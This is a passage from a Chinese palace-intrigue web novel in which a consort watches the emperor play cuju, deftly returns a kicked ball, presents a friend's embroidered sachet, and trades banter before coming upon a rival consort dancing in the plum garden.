抬脚,抽射!
皮鞠如流星般直蹿入网。
场边侍立的几名内监与观众棚的人全忍不住高声喝彩。
端木清羽随手抹了下额角,喘着气笑起来,他那笑意映着冬阳,只有少年的恣意畅快,神采奕奕的白皙脸上印着夕阳的金光,整个人脸庞像镀上了一层金边闪闪发光。
楚念辞对着那尽情奔跑的金色身影默默垂涎片刻,抬头一看,沈澜冰站在身旁,已经玉化成了一座雕像。
就听一阵欢呼响起。
少年旋身捞回球,抹了把汗道:“陛下球技出神入化,臣是越发跟不上了。”
端木清羽朝他一扬下颌,笑意未褪:“白卿何必谦虚,你的脚法也精进不少。”
少年抱拳,朗声笑道:“是陛下让着臣!”
说笑间,端木清羽目光不经意扫向场边,正对上楚念辞望来的视线,他眼中笑意未收,只微微颔首,便转身再度投入了争抢。
楚念辞静静地望着那道奔跑的身影,心想:原来陛下也有这般毫无算计、只是纵情奔跑的时刻。或许这肆意飞扬的模样,也许才是他本性。
那青衣少年见皇帝走神,顺着他的视线,也瞧见了楚念辞与沈澜冰。
见她们身着整齐繁复的宫装,下系浅紫百褶裙,只是场中众人皆穿利落骑服,唯她二人衣衫庄重,不由长眉一扬,桃花眼中掠过一丝促狭。
他脚尖一踩鞠球,忽然回身望来,盯着她们看了几秒,嘴角一挑,猛地将球朝这边踢来……
“嘭”一声,皮鞠直飞而来。
沈澜冰微微一愣,楚念辞却神色未变。
她在扬州时便是蹴鞠好手,常陪着舅舅们踢球玩耍。
当下抬脚一迎,稳稳接住来球,旋即利落旋身,“啪”地将球踢了回去。
这漂亮的旋身,浅紫裙摆翩然扬起,宛如乍开的芙蕖一般。
少年本想小小捉弄一下,没料到球被稳稳踢回,怔了怔,又不服气地再度踢来。
楚念辞顺势接住,连颠几下,球在她脚背轻巧起落,始终未坠。
两人隔空对视片刻,气氛微凝。
少年眼中渐渐升起惊艳之色。
此时他才注意到她穿的是常在品级的宫装,才知她是陛下嫔妃……如此姿容,竟还有这般球技,想必颇得圣心。
周围侍卫见是宫妃,纷纷低头退开几步,转过身去。
这时端木清羽也停下动作,一边接过敬喜递来的棉巾拭汗,一边望向楚念辞,随即绽开一个明灿的笑容。
这一笑,惹得场边众宫女都悄悄望了过来。
沈澜冰白皙的脸颊微微一红,粉光秀腻地低下头去。
楚念辞隔着袖子轻轻碰了碰她的手,拽着她一同向端木清羽行了个蹲身礼。
大夏民风开化,宫中日常并不拘泥死板规矩,她才敢带沈澜冰来这儿散心。
只是没料到会在此遇见外男。
“慧常在球技不错,”端木清羽并未在意,笑着让她们起身,夸奖道,“没料到你还是个中好手。”
少年见状,立即向端木清羽躬身:“既有佳人前来探看,微臣先行告退。”
楚念辞起身时,侧目看向那少年……约莫十七八岁,锦衣玉带,长身玉立,眉目俊朗,特别是一双多情的桃花眸子,看人时显得深情款款,已是难得的好样貌,只可惜站在顶着祸国殃民的端木清羽旁边,与之相较,仍稍逊几分,若说这少年如精雕细琢的美玉,那皇帝已是浑然天成巧夺天工。
端木清羽此刻心情颇好,叫住他:“云琛,别走,你在旁稍候,待会儿再陪朕踢一场。”
楚念辞心中微微紧绷……云琛,这两个名字她前世听过。
太尉白战陵之孙,白嫔的嫡兄长,白云琛。
此时他出现在这里,对自己的计划不利。
到时,这人肯定会帮着白嫔,不过,她想到自己只是将淑妃的挖得深了一点,就算查下去,也许能查到淑妃。
心中不由慢慢定下来。
白云琛闻言一躬,退至一旁。
端木清羽随手理了理耳畔散发,风流毓秀对二位美人摆摆手。
楚念辞拉着沈斓冰站起,端木清羽走到近前,含笑问道:“何时来的?朕竟未察觉。”
楚念辞侧首一笑:“陛下英姿飒爽,臣妾看入神了。”
见他额上生汗,脸上还带着运动后的微红,又轻声提醒:“皇上风寒才好,还须顾惜身体。”
“整日批阅奏折,案牍劳形,难得半日清闲,慧儿今日虽然穿得素净,别有一番风韵,”端木清羽笑着摇摇头,转而看向沈澜冰,“斓贵人今日装扮很是雅致。”
沈澜冰面颊微红,温婉低头:“陛下取笑臣妾了。”
楚念辞举起帕子掩面轻笑:“每日有美人探访,怎还算案牍劳苦?该说是红袖添香才对。”
这时,一名宫女捧着披风与一只香囊过来。楚念辞见机,抢先一步接过,佯装自然的要为端木清羽系在腰间。
她借着衣袖遮掩,将沈澜冰给的那只香囊混在其中,正要系上……
“这是你新做的?”端木清羽却已瞧见,目光落在她手中,“才几日,手艺倒见长了。”
楚念辞动作一顿,只得抬起脸,老实娇笑:“陛下圣明……这其实是斓贵人绣的,托臣妾转呈。”
端木清羽接过那香囊,细看了两眼:“绣工不错,斓儿,是你做的?”
“臣妾……臣妾闲时做的。”沈澜冰红着脸,说话有点口吃。
她许久不见端木清羽,心中虽有一肚子话,却不知如何说起。
既有点激动,又有点担心。
最终,楚念辞温软道:“陛下,斓贵人许久不见您,实在是思念。”
沈澜冰脸更红了。
端木清羽看楚念辞一眼,心想两人一定关系很好。
否则她也不会带她来,难道不知道这会让别人上位。
她究竟是大度,还是太过单纯。
端木清羽看看她灵动狡黠的眸子,认为她若单纯,自己便是看人走眼了。
这么想着,他随手将香囊拢入掌心,“只是朕身上佩是你前日送的,这个先收着,明日再戴吧。”
楚念辞故意凑近,轻轻一嗅,拉长语调道:“到底是妹妹的心意……闻着可真香。”
端木清羽未答,只瞥了瞥两只香囊,将手中那只也一并握住了。
一旁的白云琛见状,俊眉一挑,桃花眼一眯,拱手插话:“两美相伴,白日温情,夜晚添香,齐人之福,左右架住,陛下左拥右抱,微臣羡慕已极。”
这话说得有点露骨。
也有点唐突了。
楚念辞这过来人还不觉得什么。
沈澜冰顿时面红过耳,别过身,转身
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就要走。
楚念辞拽住她,一脸清澈向白云琛笑道,“这位大人一定享受齐人之福,倒是会打趣人。”
记得白战陵极为看重嫡子,白云琛快到二十才婚配,现在还未娶妻。
她这么说,就是让他难堪。
“这……臣尚未婚配。”白云琛窘迫地道。
端木清羽明眸一斜,哼笑道,“看来是朕太纵着你,那朕明日也赐你两个美人?”
白云琛吓得连忙告饶:“陛下别说赐两个,便是一个,臣也是无福消受,家中妻室未定,回家定被家父痛斥带坏陛下,太后知道了更要训话,这双美福分,微臣可万万不敢领受。”
端木清羽笑得风流毓秀地轻抚衣袍上的墨发:“训几句又何妨,便是左右开弓,来些耳刮子,你也得受着,毕竟齐人之福是朕赏的……”
“陛下,饶了为臣……”白云琛惊得就要撩袍跪下。
“清羽哥哥……”淑妃娇嗔着从一旁观众廊快步走来。
她纤秾合度的身段裹在一件亮得惊人的貂皮斗篷里,衣裙华美,一双杏眼微扬,妩媚中透着凌厉,目光淡淡扫过两人,神态倨傲。
她一眼便瞥见端木清羽手中那枚精致的香囊,方才的对话她早已听见大半,娇俏的脸上妒意顿生。
“哟,这香囊上的花绣得真精巧,斓贵人好手艺。”
沈斓冰忙行礼:“娘娘说笑了,臣妾只是闲暇时随意绣的,娘娘若不嫌弃,改日臣妾也为您绣一个。”
“本宫哪敢要你的东西?”淑妃嘴上推拒,眼中的醋意却几乎要溢出来,“陛下,这个送臣妾回去绞了做鞋面子……”
她那双长杏眼微微眯起,眸光幽冷。
这当众与她争宠的女人,实在令她生厌。
见淑妃醋得如此直白,端木清羽只微挑了挑眉看她,眉宇间带了不悦……淑妃顿时垂首,不敢与之对视,也不敢再信口开河了。
远处忽然飘来隐约的歌舞乐声,一缕羌笛音清脆扬起。
“似是胡旋舞曲。”端木清羽长眉微蹙,一拂袍角,举步朝乐声来处走去。
穿过长廊,眼前便是太液池。
湖面轻风微拂,水榭廊桥倒映如画,四周静谧,唯见池边蜡梅凌寒绽开,暗香悄然浮动。
走过一个长廊,太液池后面连着镜湖。
湖面微风轻拂,雪廊如虹,雅榭映冰。
池边蜡梅悄然绽放,暗香浮动。
正要往梅坞去,却听得一阵急鼓声自梅林深处传来,随后羌笛悠扬而起。
端木清羽穿着箭袖,故而楚念辞一眼看见他紧紧攥着拳头,强行压抑着怒气。
沈澜冰不由黛眉微蹙,纳罕道:“皇宫内苑,梅坞静地,何人如此大胆奏胡乐?”
别人不知道,她这两天读了陛下御诗,中间有一句:“君埋泉下泥销骨,弟寄人间雪满头。”之句。
这梅坞中必定藏着陛下想要悼念之人,她们怎可如此大胆?
楚念辞心中只暗暗惊喜,循声望去,只见一截鲜红衣带在风中如火焰般飘展开来。
梅坞临水的高轩下,只见白嫔一身红胡服、踏着小蛮靴,正被几名宫女围在中央。
一名梳着高髻的大宫女,亲自击打着胡鼓,鼓点愈急,中间那袭红衣便旋得愈快。
只见白嫔张臂回腰,裙摆飞扬,整个人如一团燃烧的红焰,随着鼓声越转越疾,脚尖仿佛不沾地,只在原地绽开一片绚烂的光影。
笛声清越相伴,衣袂翩跹间,竟似要将这满园静雪都卷进那热烈的旋转之中。
众人定睛一看……竟是白嫔带着宫女在此跳舞。
“大胆……”淑妃明眸眯起,忽然喝道。